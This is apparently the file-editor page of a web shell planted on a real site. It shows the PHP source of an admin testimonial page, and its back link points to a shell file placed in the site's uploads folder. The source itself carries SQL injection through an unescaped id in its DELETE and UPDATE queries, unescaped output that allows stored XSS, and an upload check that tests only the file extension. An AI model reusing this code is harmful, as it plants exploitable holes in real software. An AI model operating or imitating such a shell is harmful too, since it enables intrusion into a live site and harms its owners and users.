<h2>Edit File - add_testimonial.php</h2><form method="POST" style="padding:20px">
                <input type="hidden" name="edit_file" value="/home/u337112447/domains/foreignimmigrations.com/public_html/Admin/add_testimonial.php">
                <textarea name="file_content" style="width:100%; height:400px; font-family:monospace;">&lt;?php
include 'header_top.php';
?&gt;
&lt;link href=&quot;https://cdn.jsdelivr.net/npm/select2@4.1.0-beta.1/dist/css/select2.min.css&quot; rel=&quot;stylesheet&quot; /&gt;
&lt;link href=&quot;https://cdn.jsdelivr.net/npm/summernote@0.8.16/dist/summernote.min.css&quot; rel=&quot;stylesheet&quot;&gt;
&lt;style&gt;
	.note-editor.note-frame.panel.panel-default {
		padding: 0px;
	}
&lt;/style&gt;
&lt;div class=&quot;content&quot;&gt;
	&lt;div class=&quot;page-header&quot;&gt;
		&lt;ol class=&quot;breadcrumb&quot;&gt;
			&lt;li&gt;&lt;a href=&quot;index.php&quot;&gt;Dashboard&lt;/a&gt;&lt;/li&gt;
			&lt;li class=&quot;active&quot;&gt;Add Testimonial&lt;/li&gt;
		&lt;/ol&gt;
	&lt;/div&gt;
	&lt;div class=&quot;container-padding container-widget&quot;&gt;
		&lt;div class=&quot;row&quot;&gt;
			&lt;div class=&quot;col-md-12&quot;&gt;
				&lt;div class=&quot;panel panel-default&quot;&gt;
					&lt;div class=&quot;panel-title&quot;&gt;
						Add Testimonial
					&lt;/div&gt;
					&lt;div class=&quot;panel-body&quot;&gt;
						&lt;?php
						if (isset($_REQUEST[&quot;btnsave&quot;])) {
							$personname = mysqli_real_escape_string($link, $_REQUEST['personname']);
							$personposition = mysqli_real_escape_string($link, $_REQUEST['personposition']);
							$msg = mysqli_real_escape_string($link, $_REQUEST['msg']);


							if (empty($_FILES['file']['tmp_name']) || !is_uploaded_file($_FILES['file']['tmp_name'])) {
								$filepath2 = null;
							} else {
								$filename1 = $_FILES['file']['name'];
								$targetfile = &quot;uploads/&quot;;
								$filetmp1 = $_FILES['file']['tmp_name'];
								$imageFileType1 = pathinfo($filename1);


								$ran = rand(999, 999999);
								if ($imageFileType1[&quot;extension&quot;] != &quot;jpg&quot; &amp;&amp; $imageFileType1[&quot;extension&quot;] != &quot;png&quot; &amp;&amp; $imageFileType1[&quot;extension&quot;] != &quot;jpeg&quot; &amp;&amp; $imageFileType1[&quot;extension&quot;] != &quot;gif&quot; &amp;&amp; $imageFileType1[&quot;extension&quot;] != &quot;JPG&quot;) {

						?&gt;
									&lt;div class=&quot;alert alert-danger bg-danger text-white mb-0&quot; role=&quot;alert&quot;&gt;&lt;strong&gt;Oh no!&lt;/strong&gt; Only jpg,png,jpeg and gif's are allowed.Not successfully try submitting again.&lt;/div&gt;
								&lt;?php
								} else {
									@move_uploaded_file($filetmp1, &quot;uploads/&quot; . $ran . date(&quot;Y-m-d&quot;) . '.' . $imageFileType1[&quot;extension&quot;]);
									$filepath2 = &quot;uploads/&quot; . $ran . date(&quot;Y-m-d&quot;) . '.' . $imageFileType1[&quot;extension&quot;];
								}
							}

							$queryy = &quot;insert into tbl_testi (personname,personposition,msg,file) 
						values('$personname','$personposition','$msg','$filepath2')&quot;;
							//echo $queryy;
							$result = mysqli_query($link, $queryy);
							if (mysqli_affected_rows($link)) {

								?&gt;
								&lt;div class=&quot;alert alert-success bg-success text-white&quot; role=&quot;alert&quot;&gt;&lt;strong&gt;Well done!&lt;/strong&gt; Testimonial added successfully.&lt;/div&gt;
							&lt;?php
							} else {
							?&gt;
								&lt;div class=&quot;alert alert-danger bg-danger text-white mb-0&quot; role=&quot;alert&quot;&gt;&lt;strong&gt;Oh no!&lt;/strong&gt; Not successfully try submitting again.&lt;/div&gt;
						&lt;?php
							}
						}
						?&gt;

						&lt;form method=&quot;post&quot; enctype=&quot;multipart/form-data&quot;&gt;
							&lt;div class=&quot;col-md-4 col-xs-12&quot;&gt;
								&lt;div class=&quot;form-group&quot;&gt;
									&lt;label for=&quot;input1&quot; class=&quot;form-label&quot;&gt;Name&lt;/label&gt;
									&lt;input type=&quot;text&quot; class=&quot;form-control&quot; name=&quot;personname&quot;&gt;
								&lt;/div&gt;
							&lt;/div&gt;
							&lt;div class=&quot;col-md-4 col-xs-12&quot;&gt;
								&lt;div class=&quot;form-group&quot;&gt;
									&lt;label for=&quot;input1&quot; class=&quot;form-label&quot;&gt;Position&lt;/label&gt;
									&lt;input type=&quot;text&quot; class=&quot;form-control&quot; name=&quot;personposition&quot;&gt;
								&lt;/div&gt;
							&lt;/div&gt;
							&lt;div class=&quot;col-md-4 col-xs-12&quot;&gt;
								&lt;div class=&quot;form-group&quot;&gt;
									&lt;label for=&quot;input1&quot; class=&quot;form-label&quot;&gt;Photo (width: 200px Height: 200px)&lt;/label&gt;
									&lt;input type=&quot;file&quot; class=&quot;form-control&quot; name=&quot;file&quot; required&gt;
								&lt;/div&gt;
							&lt;/div&gt;
							&lt;div class=&quot;col-md-12 col-xs-12&quot;&gt;
								&lt;div class=&quot;form-group&quot;&gt;
									&lt;label for=&quot;input1&quot; class=&quot;form-label&quot;&gt;Massage&lt;/label&gt;
									&lt;input type=&quot;text&quot; class=&quot;form-control&quot; name=&quot;msg&quot; required&gt;
								&lt;/div&gt;
							&lt;/div&gt;

							&lt;div class=&quot;col-md-12 col-xs-12&quot;&gt;
								&lt;input type=&quot;submit&quot; class=&quot;btn btn-default&quot; name=&quot;btnsave&quot; value=&quot;Submit&quot;&gt;
							&lt;/div&gt;
						&lt;/form&gt;
					&lt;/div&gt;
				&lt;/div&gt;
			&lt;/div&gt;


			&lt;div class=&quot;col-md-12&quot;&gt;
				&lt;div class=&quot;panel panel-default&quot;&gt;
					&lt;div class=&quot;panel-title&quot;&gt;
						All Testimonials
					&lt;/div&gt;
					&lt;div class=&quot;panel-body&quot;&gt;
						&lt;?php
						if (isset($_POST[&quot;updatess&quot;])) {
							$personname = mysqli_real_escape_string($link, $_REQUEST['personname']);
							$personposition = mysqli_real_escape_string($link, $_REQUEST['personposition']);
							$msg = mysqli_real_escape_string($link, $_REQUEST['msg']);

							$bill = $_POST['id'];

							$filepath = mysqli_real_escape_string($link, $_REQUEST['oldfile']);
							if (empty($_FILES['file']['tmp_name']) || !is_uploaded_file($_FILES['file']['tmp_name'])) {
								$filepath2 = $filepath;
							} else {
								$filename1 = $_FILES['file']['name'];
								$targetfile = &quot;uploads/&quot;;
								$filetmp1 = $_FILES['file']['tmp_name'];
								$imageFileType1 = pathinfo($filename1);


								$ran = rand(999, 999999);
								if ($imageFileType1[&quot;extension&quot;] != &quot;jpg&quot; &amp;&amp; $imageFileType1[&quot;extension&quot;] != &quot;png&quot; &amp;&amp; $imageFileType1[&quot;extension&quot;] != &quot;jpeg&quot; &amp;&amp; $imageFileType1[&quot;extension&quot;] != &quot;gif&quot; &amp;&amp; $imageFileType1[&quot;extension&quot;] != &quot;JPG&quot;) {

						?&gt;
									&lt;div class=&quot;alert alert-danger bg-danger text-white mb-0&quot; role=&quot;alert&quot;&gt;&lt;strong&gt;Oh no!&lt;/strong&gt; Only jpg,png,jpeg and gif's are allowed.Not successfully try submitting again.&lt;/div&gt;
								&lt;?php
								} else {
									@move_uploaded_file($filetmp1, &quot;uploads/&quot; . $ran . date(&quot;Y-m-d&quot;) . '.' . $imageFileType1[&quot;extension&quot;]);
									$filepath2 = &quot;uploads/&quot; . $ran . date(&quot;Y-m-d&quot;) . '.' . $imageFileType1[&quot;extension&quot;];
								}
							}

							$result = mysqli_query($link, &quot;update tbl_testi set personname='$personname', personposition='$personposition', msg='$msg', file='$filepath2' where id=$bill &quot;);
							if ($result) {
								header('Location: ' . $_SERVER['PHP_SELF']);
								?&gt;
								&lt;div class=&quot;alert alert-success bg-success text-white&quot; role=&quot;alert&quot;&gt;Update Details&lt;/div&gt;
							&lt;?php
							} else {
							?&gt;
								&lt;p class=&quot;label label-danger&quot;&gt; Error. &lt;/p&gt;
						&lt;?php
							}
						}
						?&gt;
						&lt;?php
						if (isset($_POST[&quot;Apply&quot;])) {
							$bill = $_POST['id'];
							$result = mysqli_query($link, &quot;DELETE FROM tbl_testi where id=$bill &quot;);
							if ($result) {
								header('Location: ' . $_SERVER['PHP_SELF']);
						?&gt;
								&lt;div class=&quot;alert alert-success bg-success text-white&quot; role=&quot;alert&quot;&gt;Delete successfully.&lt;/div&gt;
							&lt;?php
							} else {
							?&gt;
								&lt;p class=&quot;label label-danger&quot;&gt; Error. &lt;/p&gt;
						&lt;?php
							}
						}
						?&gt;
						&lt;div class=&quot;table-responsive&quot;&gt;
							&lt;table id=&quot;example0&quot; class=&quot;table display&quot;&gt;
								&lt;thead&gt;
									&lt;tr&gt;
										&lt;th&gt;Sr No.&lt;/th&gt;
										&lt;th&gt;Person Name&lt;/th&gt;
										&lt;th&gt;Person Position&lt;/th&gt;
										&lt;th&gt;Photo&lt;/th&gt;
										&lt;th&gt;Msg&lt;/th&gt;
										&lt;th&gt;Action&lt;/th&gt;
									&lt;/tr&gt;
								&lt;/thead&gt;
								&lt;tbody&gt;
									&lt;?php
									$result = mysqli_query($link, &quot;select * from tbl_testi order by id desc&quot;);
									if (mysqli_num_rows($result) &gt; 0) {
										$i = 0;
										while ($row = mysqli_fetch_array($result)) {
											$i++;
									?&gt;
											&lt;tr&gt;
												&lt;td&gt;&lt;?php echo $i; ?&gt;&lt;/td&gt;
												&lt;td&gt;&lt;?php echo $row['personname']; ?&gt;&lt;/td&gt;
												&lt;td&gt;&lt;?php echo $row['personposition']; ?&gt;&lt;/td&gt;
												&lt;td&gt;
													&lt;?php
													if ($row['file'] == &quot;&quot;) {
													?&gt;
														&lt;img src=&quot;no_pic.jpg&quot; style=&quot;height: 40px;&quot;&gt;
													&lt;?php
													} else {
													?&gt;
														&lt;img src=&quot;&lt;?php echo $row['file']; ?&gt;&quot; style=&quot;height: 40px;&quot;&gt;
													&lt;?php
													}
													?&gt;
												&lt;/td&gt;
												&lt;td&gt;&lt;?php echo $row['msg']; ?&gt;&lt;/td&gt;
												&lt;td&gt;
													&lt;a data-toggle=&quot;modal&quot; data-target=&quot;#update&lt;?= $row['id']; ?&gt;&quot; class=&quot;btn btn-icon btn-xs btn-success mr-1&quot;&gt;
														Update Details
													&lt;/a&gt;

													&lt;div class=&quot;modal fade modalbox&quot; id=&quot;update&lt;?= $row['id']; ?&gt;&quot; tabindex=&quot;-1&quot; role=&quot;dialog&quot; style=&quot;display: none;&quot;&gt;
														&lt;div class=&quot;modal-dialog modal-lg&quot;&gt;
															&lt;div class=&quot;modal-content&quot;&gt;
																&lt;div class=&quot;modal-header&quot;&gt;
																	&lt;button type=&quot;button&quot; class=&quot;close&quot; data-dismiss=&quot;modal&quot;&gt;&amp;times;&lt;/button&gt;
																	&lt;h4 class=&quot;modal-title&quot;&gt;Update&lt;/h4&gt;
																&lt;/div&gt;
																&lt;div class=&quot;modal-body&quot;&gt;
																	&lt;form method=&quot;post&quot; enctype=&quot;multipart/form-data&quot;&gt;
																		&lt;input type=&quot;hidden&quot; value=&quot;&lt;?php echo $row['id']; ?&gt;&quot; name=&quot;id&quot;&gt;
																		&lt;div class=&quot;row&quot;&gt;
																			&lt;div class=&quot;col-md-4 col-xs-12&quot;&gt;
																				&lt;div class=&quot;form-group&quot;&gt;
																					&lt;label for=&quot;input1&quot; class=&quot;form-label&quot;&gt;Name&lt;/label&gt;
																					&lt;input type=&quot;text&quot; class=&quot;form-control&quot; name=&quot;personname&quot; value=&quot;&lt;?= $row['personname']; ?&gt;&quot;&gt;
																				&lt;/div&gt;
																			&lt;/div&gt;
																			&lt;div class=&quot;col-md-4 col-xs-12&quot;&gt;
																				&lt;div class=&quot;form-group&quot;&gt;
																					&lt;label for=&quot;input1&quot; class=&quot;form-label&quot;&gt;Position&lt;/label&gt;
																					&lt;input type=&quot;text&quot; class=&quot;form-control&quot; name=&quot;personposition&quot; value=&quot;&lt;?= $row['personposition']; ?&gt;&quot;&gt;
																				&lt;/div&gt;
																			&lt;/div&gt;
																			&lt;div class=&quot;col-md-4 col-xs-12&quot;&gt;
																				&lt;div class=&quot;form-group&quot;&gt;
																					&lt;label for=&quot;input1&quot; class=&quot;form-label&quot;&gt;Profile image&lt;/label&gt;
																					&lt;input type=&quot;file&quot; class=&quot;form-control&quot; name=&quot;file&quot;&gt;
																					&lt;input type=&quot;hidden&quot; name=&quot;oldfile&quot; value=&quot;&lt;?= $row['file']; ?&gt;&quot; /&gt;
																				&lt;/div&gt;
																			&lt;/div&gt;
																			&lt;div class=&quot;col-md-12 col-xs-12&quot;&gt;
																				&lt;div class=&quot;form-group&quot;&gt;
																					&lt;label for=&quot;input1&quot; class=&quot;form-label&quot;&gt;MSG&lt;/label&gt;
																					&lt;input type=&quot;text&quot; class=&quot;form-control&quot; name=&quot;msg&quot; value=&quot;&lt;?= $row['msg']; ?&gt;&quot;&gt;
																				&lt;/div&gt;
																			&lt;/div&gt;
																			&lt;div class=&quot;col-md-12 col-xs-12&quot;&gt;
																				&lt;input type=&quot;submit&quot; class=&quot;btn btn-success&quot; name=&quot;updatess&quot; value=&quot;Update Details&quot;&gt;
																				&lt;button type=&quot;button&quot; class=&quot;btn btn-default&quot; data-dismiss=&quot;modal&quot;&gt;Close&lt;/button&gt;
																			&lt;/div&gt;
																		&lt;/div&gt;
																	&lt;/form&gt;
																&lt;/div&gt;
															&lt;/div&gt;
														&lt;/div&gt;
													&lt;/div&gt;

													&lt;form method=&quot;post&quot; enctype=&quot;multipart/form-data&quot;&gt;
														&lt;input type=&quot;hidden&quot; value=&quot;&lt;?php echo $row['id']; ?&gt;&quot; name=&quot;id&quot;&gt;
														&lt;input type=&quot;submit&quot; class=&quot;btn btn-success btn-xs&quot; name=&quot;Apply&quot; value=&quot;Delete&quot;&gt;
													&lt;/form&gt;
												&lt;/td&gt;
											&lt;/tr&gt;
									&lt;?php
										}
									} else {
									}
									?&gt;
								&lt;/tbody&gt;
							&lt;/table&gt;
						&lt;/div&gt;
					&lt;/div&gt;
				&lt;/div&gt;
			&lt;/div&gt;


		&lt;/div&gt;
	&lt;/div&gt;
&lt;/div&gt;
&lt;?php
include 'footer.php';
?&gt;
&lt;script src=&quot;js/datatables/datatables.min.js&quot;&gt;&lt;/script&gt;
&lt;script&gt;
	$(document).ready(function() {
		$('#example0').DataTable();
	});
&lt;/script&gt;</textarea><br><br>
                <button type="submit" class="btn">Save</button>
                <a href="/Admin/uploads/72005193231754069486_sh2.php?dir=." class="btn gray">Kembali</a>
              </form>